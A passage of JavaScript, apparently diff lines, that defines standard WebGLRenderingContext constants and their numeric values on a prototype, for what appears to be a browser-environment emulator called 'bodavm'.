{configurable:false, enumerable:true, writable:false, value:2305},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177},'prototype'); 